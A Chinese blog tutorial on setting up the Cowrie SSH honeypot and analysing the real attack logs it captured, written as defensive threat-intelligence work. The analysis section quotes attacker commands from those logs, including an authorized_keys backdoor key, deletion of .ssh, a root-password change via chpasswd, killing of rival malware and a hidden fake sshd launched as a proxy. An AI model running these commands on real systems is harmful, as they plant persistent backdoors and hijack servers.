从 0 搭建 Cowrie 蜜罐,并分析真实 SSH 攻击日志

一、前言

  • 在网络安全领域,蜜罐(Honeypot)是一种主动防御技术,通过模拟存在漏洞的服务,吸引攻击者的探测与攻击,从而收集攻击行为、工具和手法,为安全防护提供真实的威胁情报。
  • Cowrie 是一款基于 Python 开发的中高交互 SSH/Telnet 蜜罐,它模拟了一个虚假的 Linux 系统环境,攻击者连接后会获得一个假 Shell,执行的所有命令、上传的恶意文件都会被完整记录。本文将带你从 0 开始搭建 Cowrie 蜜罐,并通过真实攻击日志分析攻击者的行为模式。

二、环境准备

Cowrie 本身是跨平台 Python 程序,核心逻辑完全一样,只有安装依赖、防火墙、包管理器三部分命令不同。(本文以 AlmaLinux 9 为例)

1. 系统依赖安装

# 更新系统包
dnf update -y

# 安装基础依赖
dnf install -y epel-release
dnf install -y git python3 python3-pip python3-virtualenv libffi-devel openssl-devel gcc make authbind

如果提示某些包没有,也没关系,我们再调整。
有些版本里 python3-virtualenv 可能叫法不同,可以补装:

dnf install -y python3-devel

必须保证python的版本大于3.9

python3.11 --version

没有就安装

dnf install -y python3.11 python3.11-pip python3.11-devel

装完再检查

python3.11 --version

2. 创建专用用户

  • 不要用 root 跑 Cowrie
useradd -m -s /bin/bash cowrie
passwd cowrie
  • 切换到cowrie用户
su - cowrie
  • 现在应该在cowrie目录(/home/cowrie)
#确认一下
pwd

三、下载 Cowrie

  • 在 cowrie 用户下执行:
git clone http://github.com/cowrie/cowrie
cd cowrie
  • 在/home/cowrie/cowrie/ 目录创建虚拟环境
python3.11 -m venv cowrie-env
  • 激活虚拟环境 ;激活后,命令行前面一般会出现 (cowrie-env)
source cowrie-env/bin/activate
  • 升级pip
pip install --upgrade pip setuptools wheel
  • 安装 Cowrie 依赖
pip install -r requirements.txt

如果报编译错误,通常是缺少系统依赖,回到root 安装
(要退出虚拟环境deactivate

dnf install -y gcc libffi-devel openssl-devel python3-devel

然后再按步骤 回来重试。(注意不要进错目录)

四、配置 Cowrie

Cowrie 默认配置文件不是直接改原文件,而是复制一份:

cp etc/cowrie.cfg.dist etc/cowrie.cfg

编辑配置:

vi etc/cowrie.cfg

查找类似:

[ssh]
listen_endpoints = tcp:2222:interface=0.0.0.0

这表示 Cowrie 监听 0.0.0.0:2222。
先保持这个最稳妥。


五、启动 Cowrie

确保你当前仍然在:/home/cowrie/cowrie;并且虚拟环境已激活,然后启动:

bin/cowrie start

分别查看状态和日志

bin/cowrie status
tail -f var/log/cowrie/cowrie.log

如果启动成功,应该能看到监听信息。

六、测试是否运行成功

ss -tlnp | grep 2222

如果看到 2222 正在监听,说明程序已运行。

本机测试连接:

ssh -p 2222 root@127.0.0.1

你应该会连接到 Cowrie 模拟出来的 SSH 服务,而不是真实 SSH。

image
我随便输入了一个密码,cowrie可能会直接把我放进来。
cowrie还会发出一些迷惑信息,增加逼真性。

七、让外部扫到 22 端口

这个要特别注意:
不要直接让真实 SSH 和 Cowrie 都占用 22。

通常做法:

  • 真实 SSH 改到别的端口,比如 22222
  • 外部访问 22 时转发到 Cowrie 的 2222

1. 如果真实ssh端口在22,先改端口

编辑 SSH 配置:

vi /etc/ssh/sshd_config

找到port这一行,改成:

Port 22222

保存后重启 SSH:

systemctl restart sshd

先别断开当前会话,先新开一个终端测试能否用新端口登录:

ssh -p 22222 root@你的IP

确认没问题后再继续。

2. iptables/ firewalld 端口转发,让外部 22 转到 Cowrie 的 2222

sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222
sudo iptables -t nat -A OUTPUT -p tcp -d 127.0.0.1 --dport 22 -j REDIRECT --to-ports 2222

或者用 firewalld

sudo firewall-cmd --permanent --add-forward-port=port=22:proto=tcp:toport=2222
sudo firewall-cmd --reload

这样外部访问 22,实际进 Cowrie 的 2222。

3. 测试端口是否转发成功:

本地:ssh root@127.0.0.1
新终端:ssh root@你的IP
如果是蜜罐,说明成功了。

  • 查看日志
sudo tail -n 50 var/log/cowrie/cowrie.log
sudo tail -n 50 var/log/cowrie/cowrie.json

image
image
你可以看到一些被cowrie收集的信息(攻击者 IP 地址,尝试的账户密码,连接时间、时长,目标端口,客户端信息,认证信息,执行的命令等等)
这是一些真实的攻击记录,大部分由黑客(被控制的肉鸡)使用Nmap、Zmap等工具,几秒内就能扫遍全网。

4. 公网

当你的设备具备了可从互联网任何地方直接访问的独立网络身份时,才算暴露在公网上,才能被全球其他人访问;否则部署的蜜罐只能自己访问

八、python脚本自动分析

1. 编写脚本

touch cowrie-report.py
nano cowrie-report.py

将本文章配套的python代码复制进去就行。

2.给脚本加执行权限

写完脚本后,你当时运行了这行命令,让脚本变成可执行文件:

chmod +x cowrie-report.py

3、把脚本放到系统 PATH 里

cp cowrie-report.py /usr/local/bin/cowrie-report

4.效果与分析

内置包含大量实用功能(查看类: ‘summary’, ‘topip’, ‘creds’, ‘commands’, ‘sources’, ‘keys’, ‘weird’, ‘families’, ‘ip’, ‘export-logins’ ;导出类:’export-logins’, ‘export-commands’, ‘export-keys’, ‘export-weird’, ‘export-families’)
image
image
可以看到每天都有大量事件。要是真机,暴露在公网上,很快会沦陷为黑客的肉鸡。

image
其实这个很有意思,这么多IP注入的都是同一个公钥

echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr" >> .ssh/authorized_keys

mdrfckr = motherfcker(脏话 / 辱骂性词汇)
这个密钥mdrfckr标识是黑客、黑产、恶意软件作者最常用的挑衅式署名;目的就是:

  • 装酷
  • 挑衅受害者
  • 标记「这个后门是我放的」

执行cowrie-report command看看他们都干了什么
image
这是随机截的,毕竟太长了。

介绍主要行为:

  1. 删除原来的 .ssh(删你密钥)
rm -rf .ssh
  1. 重建 .ssh 目录
mkdir .ssh
  1. 写入黑客自己的 SSH 后门公钥
echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr" >> .ssh/authorized_keys
  1. 锁权限,防止你删掉后门
chmod -R go= ~/.ssh
  1. 查 CPU 核心数(判断能不能挖矿)
cat /proc/cpuinfo | grep name | wc -l
  1. 杀其他病毒、清理竞争对手 malware
rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -f secure.sh; pkill -f auth.sh; echo > /etc/hosts.deny; pkill -f sleep;
  1. 修改 root 密码(锁死你,独占机器)
echo "root:c9pUFi59LRUU"|chpasswd|bash

.

接下我们看看具有相似特征的族
cowrie-report families
image
image

345gs5662d34/345gs5662d34(2004), root/3245gs5662d34(2002)这两个是尝试次数最多的账密;

  1. 最显眼的 345gs5662d34/345gs5662d34是物联网设备 / 路由器 / 工控设备的默认密码变种
  2. root/3245gs5662d3是上面那个密码的变种,差不多的次数,说明和上面那个是同一个脚本 / 团伙的字典,专门针对 Linux 服务器的 root 账号
  3. admin/admin:最通用的管理员账号密码,几乎所有设备都有,被扫了 85 次,属于基础弱口令字典的标配
  4. orangepi/orangepi:这是香橙派(Orange Pi)开发板的默认 SSH 账号密码,说明攻击者专门针对物联网开发板做了定向爆破
  5. root/P / root/nPSpP4PBW0 .这些是 “半强密码” 的弱口令变种
  6. root/Aa112211典型入门级弱密码
  7. root/:root 账号 + 空密码 ;很多新手会犯的错误
  8. root/root账号密码都是 root,被扫了 26 次,属于 “新手专属弱口令”
  9. a/a:账号密码都是 a,纯随机爆破的垃圾项,被扫了 22 次
    image
    攻击者在登录成功后,会立即写入 SSH 公钥后门,这是僵尸网络控制肉鸡的标准流程。
    image
    两组典型的前置侦察型攻击
  • 族4:单一 IP 的轻量级侦察脚本
    cat /proc/1/mounts 查看系统挂载信息,判断是否为容器 / 虚拟机
    ls /proc/1/ 检查 PID 1 进程,确认系统初始化环境
    curl2 测试服务器是否能联网,用于后续下载恶意程序
    ps aux / ps 查看进程列表,判断是否已有其他恶意软件在运行

关键特征:

  1. 使用 echo “…” | sh 执行命令,是典型的IDS / 防火墙绕过手段
  2. 没有植入后门、没有挖矿,仅做 “踩点”
  3. 这类脚本通常是大型僵尸网络的 “前置筛选器”,用来挑出有价值的肉鸡
  • 族5:定向挖矿木马的侦察脚本
    /ip cloud print 识别目标是否为云服务器(部分云厂商有特定的工具)
    ifconfig 获取网卡信息,确认网络环境
    uname -a 查看系统内核版本,判断是否支持挖矿程序
    cat /proc/cpuinfo 关键:查看 CPU 核心数,判断挖矿收益
    ps grep '[Mm]iner' 检查是否已有其他挖矿程序在运行,防止被 “抢矿”

关键特征:

  1. 所有命令都围绕 “挖矿价值评估” 展开,目的性极强
  2. 常见登录密码是 root/root、root/admin,属于基础弱口令爆破
  3. 这类攻击的下一步,就是下载并执行挖矿木马

image

chmod +x ./.9209272124184346317/sshd;
nohup ./.9209272124184346317/sshd 111.170.34.11 123.182.141.91 ... &

这是一种典型的 “恶意反向代理” 攻击。攻击者在登录成功后,会上传一个伪装成 sshd 的恶意程序,赋予执行权限并在后台运行。

系统自带的 sshd 是 /usr/sbin/sshd,而这个程序:
位于隐藏目录 ./.9209272124184346317/(随机命名,隐藏行踪)
接收大量 IP 作为参数,明显不是正常的 SSH 服务,本质是建立反向隧道,将目标服务器变成攻击者的代理跳板,用于转发恶意流量(如 DDoS、爬虫、代理访问)。

image
安装挖矿木马 / 僵尸网络执行链

  1. ./oinasf:直接运行当前目录下的恶意程序 oinasf
  2. 后面的 dd /proc/self/exe 是一套 fallback 逻辑,用来读取自身程序的二进制代码,常见于自复制、自解压、绕过沙箱 / 蜜罐检测的恶意脚本
  3. 整个命令的目标,是在被攻陷的服务器上植入并执行 oinasf 恶意程序

九、总结

日志覆盖 4.19–4.28,记录了从扫描到挖矿的全过程

早期:只爆破弱口令(族 1)

中期:写公钥留后门(族 2/3)

后期:上挖矿木马 oinasf(族 13)

穿插:侦察系统、清理环境

显然这是这是一个以 SSH 弱口令爆破为入口、以 SSH 公钥为持久化后门、以 oinasf 为挖矿模块的大型 Linux 跨平台僵尸网络。

© 版权声明
THE END
点赞583
tuulei的头像-tuulei糖果大会员
茶谈区 共1条
头像
发一条友善的评论
提交
头像

昵称

取消
昵称表情代码图片

    请登录后查看评论内容